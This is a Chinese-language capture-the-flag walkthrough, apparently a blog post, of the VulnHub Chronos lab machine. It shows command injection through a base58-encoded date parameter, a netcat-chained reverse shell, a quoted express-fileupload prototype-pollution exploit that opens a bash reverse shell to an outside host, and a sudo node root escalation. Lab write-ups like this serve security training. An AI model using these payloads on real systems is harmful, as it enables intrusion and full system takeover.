Chronos靶机打靶过程(利用express-fileupload)

靶机地址:

https://www.vulnhub.com/entry/chronos-1,735/

难度:中(构思巧妙)

目标:取得2个flag+root权限

涉及攻击方法:

  • 端口扫描
  • WEB侦察
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
  • 代码审计
  • NC串联
  • 本地提权

0x01

sudo netdiscover -r 10.0.2.0/16   #主机发现

在这里插入图片描述

sudo nmap -p- 10.0.2.6  #扫描全端口
sudo nmap -p22,80,8000 -sV 10.0.2.6  #扫描端口所开启的服务

在这里插入图片描述在这里插入图片描述

0x02

访问80端口并查看页面源码

在这里插入图片描述

在script标签里发现一段脚本
var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
发现url
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
chronos.local   #将域名添加到hosts文件 使其正常解析 
刷新页面使用burpsuite截获

在这里插入图片描述

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL   #base58解码

在这里插入图片描述

解码发现为date命令 使用命令注入

在这里插入图片描述

0x03

使用NC串联
&&nc 10.0.2.4 4444 | /bin/bash | nc 10.0.2.4 5555

在这里插入图片描述

进行信息收集

在这里插入图片描述

pwd  #查看当前所在位置
cat  #查看文件内容
ls  #查看所在目录下的内容
尝试在所在目录收集信息 没有发现有用的信息 进到opt目录下查看包含两个文件 依次查看文件内容 在chronos-v2文件下发现backend文件包含package.json 查看.json文件,发现express-fileupload,尝试查找express-fileupload漏洞
参考
import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

0x04

传到靶机执行该文件
python3 -m http.server 80   #在kali开启http.server服务提供下载
nc -nvlp 4444   #kali本机开启侦听端口
wget   #利用wget下载到靶机
python3 exp.py   #在靶机执行该文件

在这里插入图片描述

ls发现user.txt 得到第一个flag

在这里插入图片描述

0x05

进一步获得root权限

在这里插入图片描述

sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'   #利用sudo提升权限

在这里插入图片描述

在root.txt中发现第二个flag

在这里插入图片描述

0x06

成功获得2个flag和root权限

  • 17
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

皮皮鲁xx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值